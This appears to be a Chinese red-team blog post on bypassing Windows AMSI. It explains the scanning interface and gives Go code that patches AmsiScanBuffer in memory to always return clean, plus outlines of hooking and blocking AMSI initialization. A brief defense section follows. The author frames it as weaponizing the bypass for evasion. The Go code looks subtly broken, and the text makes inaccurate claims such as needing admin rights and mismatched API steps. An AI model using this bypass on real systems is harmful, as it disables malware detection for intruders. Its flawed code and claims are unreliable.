一、一次失败的持久化尝试
几个月前,我们接到了一次红队任务,目标是一家大型互联网公司。经过信息收集和初步渗透,我们成功拿下了内网的一台普通员工主机。然而,当尝试通过 PowerShell 加载自定义脚本并建立持久化时,意料之外的事情发生了:我们的恶意代码被拦截了。
问题的罪魁祸首很快浮出水面——Windows 的 AMSI(Antimalware Scan Interface)。即使我们采用了加密、混淆等手段,PowerShell 的运行时仍会将我们的代码解密后传递给 AMSI 进行扫描。最终,这导致了我们的代码被杀软识别并拦截。
这次失败让我对 AMSI 的工作机制产生了浓厚兴趣。随后,我花了大量时间研究其原理,并尝试绕过它。本文将分享 AMSI 绕过的技术细节、代码实现以及如何将其武器化,帮助红队成员在渗透测试中更有效地规避 AMSI 的检测。
---
二、AMSI 是如何工作的?
在深入探讨绕过技术之前,我们需要理解 AMSI 是什么,以及它的工作机制。只有彻底弄清楚它的运行原理,才能找到有效的绕过方法。

什么是 AMSI?

AMSI,全称 Antimalware Scan Interface,是微软在 Windows 10 中引入的一种安全特性。它的目的是为所有程序提供统一的反恶意软件接口,这样第三方杀毒软件可以轻松接入并扫描内容。例如,当你在 PowerShell 中运行脚本时,AMSI 会将脚本的内容传递给杀毒软件进行检测。
工作原理剖析
以下是 AMSI 在 PowerShell 中的工作流程:

- 脚本分析:PowerShell 在解析并执行脚本时,会调用
amsi.dll中的核心函数。 - 内容扫描:AMSI 将代码片段传递给注册的杀毒引擎(如 Windows Defender)。
- 返回结果:扫描引擎返回是否检测到恶意内容。
- 执行或阻断:如果脚本被标记为恶意,PowerShell 会立刻终止执行。
假设你运行如下 PowerShell 代码:
<pre><code class="language-powershell">Write-Host "Hello, Hacker"</code></pre>
在执行前,它的内容会被 AMSI 拦截并扫描。如果代码中包含恶意模式(如经典的 IEX 组合),即使代码未解密,AMSI 也可以捕获并标记为恶意。
AMSI 的关键组件
AMSI 的核心由以下几个部分组成:
amsi.dll:提供接口,供程序调用 AMSI 功能。- 核心函数:
AmsiInitialize:初始化 AMSI。AmsiScanString:扫描字符串内容。AmsiScanBuffer:扫描内存中的缓冲区(如与脚本加载相关的内容)。
- 注册的杀毒引擎:如 Windows Defender 等。
了解了 AMSI 的工作机制后,我们的目标显而易见:找到一种方法,绕过这些核心函数的调用,或者修改其行为,使其无法正常拦截和扫描我们的代码。
---
三、避开 AMSI 的眼睛:绕过技术分析
在对抗 AMSI 的过程中,我发现了一些经典且实用的绕过方法。本节将逐一介绍它们的原理、实现方式,以及各自的优缺点。
方法一:Patch AMSI 内存
思路:通过修改 AMSI 的内存函数,使其返回“安全”结果。
实现步骤:
- 使用
OpenProcess和WriteProcessMemory,找到amsi.dll的内存地址。 - 将关键函数(如
AmsiScanBuffer)的返回值强行修改为“成功”。
以下是使用 Go 实现的代码:
<pre><code class="language-go">package main
import ( "golang.org/x/sys/windows" "syscall" "unsafe" )
func main() { // 找到当前进程句柄 currentProcess, _ := windows.GetCurrentProcess()
// 获取 amsi.dll 的模块地址 hModule, _ := windows.LoadLibrary("amsi.dll") procAddr, _ := windows.GetProcAddress(windows.Handle(hModule), "AmsiScanBuffer")
// 打补丁,将 AmsiScanBuffer 的返回值改为 0 (AMSI_RESULT_CLEAN) oldProtect := windows.PAGE_READWRITE var oldProtectOut uintptr patch := []byte{0x31, 0xC0, 0xC3} // xor eax, eax; ret windows.VirtualProtect(syscall.Handle(procAddr), uintptr(len(patch)), oldProtect, &oldProtectOut) copy((*[3]byte)(unsafe.Pointer(procAddr))[:], patch) windows.VirtualProtect(syscall.Handle(procAddr), uintptr(len(patch)), oldProtectOut, &oldProtect) }</code></pre>
优点:
- 高效,直接修改内存,绕过效果立竿见影。
缺点:
- 需要管理员权限。
- 修改内存可能触发杀毒软件的防篡改模块。
---
方法二:Hook PowerShell
思路:劫持 PowerShell 的 AMSI 调用,将其重定向到伪劣实现。
实现步骤:
- 使用 Windows API 将 PowerShell 的
AmsiScanBuffer函数替换为自定义实现。 - 在自定义实现中返回安全结果。
以下是 Hook 的伪代码(使用 Shell 实现):
<pre><code class="language-bash"># 自定义 AMSI DLL Hook 替换脚本
使用 CFF Explorer 修改 AMSI 调用的导入表</code></pre>
优点:
- 不直接修改内存,隐蔽性更高。
缺点:
- 需要对 PE 文件结构有深入了解。
---
方法三:禁用 AMSI 初始化
思路:在 AmsiInitialize 调用前,将其劫持,使 AMSI 根本无法初始化。
实现步骤:
- Hook
AmsiInitialize函数。 - 返回错误码,阻止 AMSI 初始化。
---
四、攻防对抗:如何防御类似绕过
从防御的角度来看,AMSIs 的绕过手段大多依赖于修改进程内存或 Hook 函数调用。我们可以采取以下措施:
- 启用进程保护:Windows 提供了 PPL(Protected Process Light)技术,可以防御非系统进程修改内存。
- 进程监控:实时监控恶意代码是否修改了 AMSI 的核心函数。
- 文件完整性校验:定期检查 DLL 文件是否被篡改。
---
五、个人经验总结
在面对安全对抗时,攻防思路最为重要。对于红队成员来说,深入研究目标系统的安全机制,并找到其薄弱环节,是突破的关键。而对于蓝队成员来说,了解攻击者的手段,并针对性地加固系统,是防御的核心。
通过这篇文章,我希望能帮助更多安全研究员掌握 AMSI 绕过的技术,同时提醒大家,技术无罪,使用需谨慎。